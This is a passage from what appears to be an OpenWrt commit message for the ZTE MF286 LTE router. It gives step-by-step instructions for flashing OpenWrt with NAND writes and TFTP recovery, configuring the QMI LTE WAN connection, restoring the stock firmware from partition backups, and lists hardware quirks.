/tmp/nandwrite /dev/<rootfs-mtd> \
/var/usb_disk/openwrt-ath79-zte_mf286-intermediate-rootfs.bin
- Ensure that no bad blocks were present on the devices while writing.
If they were present, you may need to vary the split between
kernel and rootfs parts, so U-boot reads a valid uImage after skipping
the bad blocks. If it fails, you will be left with method 3 (below).
- If write is OK, reboot the device, it will reboot to OpenWrt
initramfs:
reboot -f
- After rebooting, SSH into the device and use sysupgrade to perform
proper installation.
Method 3: using built-in TFTP recovery (LAST RESORT):
- With that method, ensure you have complete backup of system's NAND
flash first. It involves deliberately erasing the kernel.
- Download "-initramfs-kernel.bin" image for the device.
- Prepare the recovery image by prepending 8MB of zeroes to the image,
and name it root_uImage:
dd if=/dev/zero of=padding.bin bs=8M count=1
cat padding.bin openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin >
root_uImage
- Set up a TFTP server at 192.0.0.1/8. Router will use random address
from that range.
- Put the previously generated "root_uImage" into TFTP server root
directory.
- Deliberately erase "kernel" partition" using stock firmware after
taking backup. THIS IS POINT OF NO RETURN.
- Restart the device. U-boot will attempt flashing the recovery
initramfs image, which will let you perform actual installation using
sysupgrade. This might take a considerable time, sometimes the router
doesn't establish Ethernet link properly right after booting. Be
patient.
- After U-boot finishes flashing, the LEDs of switch ports will all
light up. At this moment, perform power-on reset, and wait for OpenWrt
initramfs to finish booting. Then proceed to actual installation.
STEP 4: Actual installation:
- scp the sysupgrade image to the device:
scp openwrt-ath79-nand-zte_mf286-squashfs-sysupgrade.bin \
root@192.168.1.1:/tmp/
- ssh into the device and execute sysupgrade:
sysupgrade -n /tmp/openwrt-ath79-nand-zte_mf286-squashfs-sysupgrade.bin
- Wait for router to reboot to full OpenWrt.
STEP 5: WAN connection establishment
Since the router is equipped with LTE modem as its main WAN interface, it
might be useful to connect to the Internet right away after
installation. To do so, please put the following entries in
/etc/config/network, replacing the specific configuration entries with
one needed for your ISP:
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'
option auth '<auth>' # As required, usually 'none'
option pincode '<pin>' # If required by SIM
option apn '<apn>' # As required by ISP
option pdptype '<pdp>' # Typically 'ipv4', or 'ipv4v6' or 'ipv6'
For example, the following works for most polish ISPs
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'
option auth 'none'
option apn 'internet'
option pdptype 'ipv4'
If you have build with LuCI, installing luci-proto-qmi helps with this
task.
Restoring the stock firmware:
Preparation:
If you took your backup using stock firmware, you will need to
reassemble the partitions into images to be restored onto the flash. The
layout might differ from ISP to ISP, this example is based on generic stock
firmware.
The only partitions you really care about are "web", "kernel", and
"rootfs". For easy padding and possibly restoring configuration, you can
concatenate most of them into images written into "ubi" meta-partition
in OpenWrt. To do so, execute something like:
cat mtd5_cfg-param.bin mtd6-oops.bin mtd7-web.bin mtd9-rootfs.bin > \
mtd8-ubi_restore.bin
You can skip the "fota" partition altogether,
it is used only for stock firmware update purposes and can be overwritten
safely anyway. The same is true for "data" partition which on my device
was found to be unused at all. Restoring mtd5_cfg-param.bin will restore
the stock firmware configuration you had before.
Method 1: Using initramfs:
- Boot to initramfs as in step 3:
- Completely detach ubi0 partition using ubidetach /dev/ubi0_0
- Look up the kernel and ubi partitions in /proc/mtd
- Copy over the stock kernel image using scp to /tmp
- Erase kernel and restore stock kernel:
(scp mtd4_kernel.bin root@192.168.1.1:/tmp/)
mtd write <kernel_mtd> mtd4_kernel.bin
rm mtd4_kernel.bin
- Copy over the stock partition backups one-by-one using scp to /tmp, and
restore them individually. Otherwise you might run out of space in
tmpfs:
(scp mtd3_ubiconcat0.bin root@192.168.1.1:/tmp/)
mtd write <ubiconcat0_mtd> mtd3_ubiconcat0.bin
rm mtd3_ubiconcat0.bin
(scp mtd5_ubiconcat1.bin root@192.168.1.1:/tmp/)
mtd write <ubiconcat1_mtd> mtd5_ubiconcat1.bin
rm mtd5_ubiconcat1.bin
- If the write was correct, force a device reboot with
reboot -f
Method 2: Using live OpenWrt system (NOT RECOMMENDED):
- Prepare a USB flash drive contatining MTD backup files
- Ensure you have kmod-usb-storage and filesystem driver installed for
your drive
- Mount your flash drive
mkdir /tmp/usb
mount /dev/sda1 /tmp/usb
- Remount your UBI volume at /overlay to R/O
mount -o remount,ro /overlay
- Write back the kernel and ubi partitions from USB drive
cd /tmp/usb
mtd write mtd4_kernel.bin /dev/<kernel_mtd>
mtd write mtd8_ubi.bin /dev/<kernel_ubi>
- If everything went well, force a device reboot with
reboot -f
Last image may be truncated a bit due to lack of space in RAM, but this will happen over "fota"
MTD partition which may be safely erased after reboot anyway.
Method 3: using built-in TFTP recovery (LAST RESORT):
- Assemble a recovery rootfs image from backup of stock partitions by
concatenating "web", "kernel", "rootfs" images dumped from the device,
as "root_uImage"
- Use it in place of "root_uImage" recovery initramfs image as in the
TFTP pre-installation method.
Quirks and known issues
- Kernel partition size is increased to 4MB compared to stock 3MB, to
accomodate future kernel updates - at this moment OpenWrt 5.10 kernel
image is at 2.5MB which is dangerously close to the limit. This has no
effect on booting the system - but keep that in mind when reassembling
an image to restore stock firmware.
- uqmi seems to be unable to change APN manually, so please use the one
you used before in stock firmware first. If you need to change it,
please use protocok '3g' to establish connection once, or use the
following command to change APN (and optionally IP type) manually:
echo -ne 'AT+CGDCONT=1,"IP","<apn>' > /dev/ttyUSB0
- The only usable LED as a "system LED" is the green debug LED hidden
inside the case. All other LEDs are controlled by modem, on which the
router part has some influence only on Wi-Fi LED.
- Wi-Fi LED currently doesn't work while under OpenWrt, despite having
correct GPIO mapping. All other LEDs are controlled by modem,
including this one in stock firmware. GPIO19, mapped there only acts
as a gate, while the actual signal source seems to be 5GHz Wi-Fi
radio, however it seems it is not the LED exposed by ath10k as
ath10k-phy0.
- GPIO5 used for modem reset is a suicide switch, causing a hardware
reset of whole board, not only the modem. It is attached to
gpio-restart driver, to restart the modem on reboot as well, to ensure
QMI connectivity after reboot, which tends to fail otherwise.
- Modem, as in MF283+, exposes root shell over ADB - while not needed
for OpenWrt operation at all - have fun lurking around.
- MAC address shift for 5GHz Wi-Fi used in stock firmware is
0x320000000000, which is impossible to encode in the device tree, so I
took the liberty of using MAC address increment of 1 for it, to ensure
different BSSID for both Wi-Fi interfaces.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
